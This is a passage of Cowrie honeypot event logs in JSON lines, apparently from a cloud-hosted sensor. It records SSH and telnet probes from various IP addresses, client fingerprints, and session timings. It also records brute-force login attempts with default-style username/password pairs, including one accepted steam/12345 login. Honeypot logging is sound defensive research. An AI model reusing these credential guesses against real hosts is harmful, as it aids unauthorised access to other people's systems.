af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:50.581247Z","src_ip":"45.78.198.206","session":"b3417d09cbf8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:50.587295Z","src_ip":"45.78.198.206","session":"b3417d09cbf8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":35640,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a6b9dcc6ba9","protocol":"telnet","message":"New connection: 134.209.8.29:35640 (159.203.135.109:23) [session: 0a6b9dcc6ba9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:50.881988Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":51294,"dst_ip":"10.17.0.5","dst_port":22,"session":"4db612d75766","protocol":"ssh","message":"New connection: 176.65.132.254:51294 (10.17.0.5:22) [session: 4db612d75766]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:51.346338Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:51.350227Z","src_ip":"176.65.132.254","session":"4db612d75766","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:51.438355Z","src_ip":"176.65.132.254","session":"4db612d75766","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openvpn","password":"openvpn","message":"login attempt [openvpn/openvpn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:51.859998Z","src_ip":"176.65.132.254","session":"4db612d75766","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:52.948712Z","src_ip":"176.65.132.254","session":"4db612d75766","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":37554,"dst_ip":"10.17.0.5","dst_port":22,"session":"e88c263743f4","protocol":"ssh","message":"New connection: 176.65.132.254:37554 (10.17.0.5:22) [session: e88c263743f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:55.494604Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:55.499699Z","src_ip":"176.65.132.254","session":"e88c263743f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.459280490875244,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:55.513195Z","src_ip":"62.210.97.77","session":"4bd1ea4eee5c","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:55.581943Z","src_ip":"176.65.132.254","session":"e88c263743f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"infra","password":"infra","message":"login attempt [infra/infra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:55.843553Z","src_ip":"176.65.132.254","session":"e88c263743f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":52522,"dst_ip":"159.203.135.109","dst_port":23,"session":"45f4299e53fb","protocol":"telnet","message":"New connection: 134.209.8.29:52522 (159.203.135.109:23) [session: 45f4299e53fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:56.983215Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:57.053238Z","src_ip":"176.65.132.254","session":"e88c263743f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.40606427192688,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:57.712209Z","src_ip":"65.60.27.33","session":"911d5a3d689c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.235.176","src_port":45732,"dst_ip":"159.203.135.109","dst_port":22,"session":"a1c519adcfa9","protocol":"ssh","message":"New connection: 103.189.235.176:45732 (159.203.135.109:22) [session: a1c519adcfa9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:57.908598Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:57.913811Z","src_ip":"103.189.235.176","session":"a1c519adcfa9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:58.159499Z","src_ip":"103.189.235.176","session":"a1c519adcfa9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.64609146118164,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:58.237451Z","src_ip":"62.210.97.77","session":"15253cb09cd7","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin_123","password":"admin_123","message":"login attempt [admin_123/admin_123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:59.153613Z","src_ip":"103.189.235.176","session":"a1c519adcfa9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":40396,"dst_ip":"10.17.0.5","dst_port":23,"session":"09dd5d230b63","protocol":"telnet","message":"New connection: 62.210.97.77:40396 (10.17.0.5:23) [session: 09dd5d230b63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:59.596091Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":37556,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a76b94921c1","protocol":"ssh","message":"New connection: 176.65.132.254:37556 (10.17.0.5:22) [session: 4a76b94921c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:59.618191Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:59.621954Z","src_ip":"176.65.132.254","session":"4a76b94921c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:59.705406Z","src_ip":"176.65.132.254","session":"4a76b94921c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dolphinscheduler","password":"dolphinscheduler","message":"login attempt [dolphinscheduler/dolphinscheduler] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:59.959280Z","src_ip":"176.65.132.254","session":"4a76b94921c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:00.400896Z","src_ip":"103.189.235.176","session":"a1c519adcfa9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:01.059306Z","src_ip":"176.65.132.254","session":"4a76b94921c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":40412,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3991df6c7b4","protocol":"telnet","message":"New connection: 62.210.97.77:40412 (10.17.0.5:23) [session: b3991df6c7b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:01.118048Z"}
{"eventid":"cowrie.session.closed","duration":42.9054114818573,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:01.987669Z","src_ip":"165.232.131.181","session":"a14aee937d72","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.425819635391235,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:02.375129Z","src_ip":"62.210.97.77","session":"3edd5d966505","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.933796405792236,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:03.003896Z","src_ip":"165.232.131.181","session":"04648967460e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":58856,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e6cbe0a0bfc","protocol":"ssh","message":"New connection: 176.65.132.254:58856 (10.17.0.5:22) [session: 9e6cbe0a0bfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:03.576979Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:03.582309Z","src_ip":"176.65.132.254","session":"9e6cbe0a0bfc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:03.664807Z","src_ip":"176.65.132.254","session":"9e6cbe0a0bfc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"123456","message":"login attempt [es/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:03.972511Z","src_ip":"176.65.132.254","session":"9e6cbe0a0bfc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.032005071640015,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:04.427278Z","src_ip":"38.54.119.93","session":"4348c7dd3bca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"187.16.96.250","src_port":49404,"dst_ip":"10.17.0.5","dst_port":22,"session":"438efb73b329","protocol":"ssh","message":"New connection: 187.16.96.250:49404 (10.17.0.5:22) [session: 438efb73b329]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:04.545470Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:04.550722Z","src_ip":"187.16.96.250","session":"438efb73b329","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:04.670119Z","src_ip":"187.16.96.250","session":"438efb73b329","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:05.060117Z","src_ip":"176.65.132.254","session":"9e6cbe0a0bfc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"upload123456789","message":"login attempt [ubuntu/upload123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:05.170822Z","src_ip":"187.16.96.250","session":"438efb73b329","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:06.291480Z","src_ip":"187.16.96.250","session":"438efb73b329","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.425971269607544,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:07.531307Z","src_ip":"165.232.131.181","session":"1e17e8e3dc68","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":58858,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed4cf8389174","protocol":"ssh","message":"New connection: 176.65.132.254:58858 (10.17.0.5:22) [session: ed4cf8389174]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:07.815881Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:07.821294Z","src_ip":"176.65.132.254","session":"ed4cf8389174","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:07.907589Z","src_ip":"176.65.132.254","session":"ed4cf8389174","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"12345","message":"login attempt [steam/12345] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:08.160595Z","src_ip":"176.65.132.254","session":"ed4cf8389174","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":40418,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a868a17aaeb","protocol":"telnet","message":"New connection: 62.210.97.77:40418 (10.17.0.5:23) [session: 4a868a17aaeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:08.233244Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:08.397892Z","src_ip":"176.65.132.254","session":"ed4cf8389174","protocol":"ssh"}
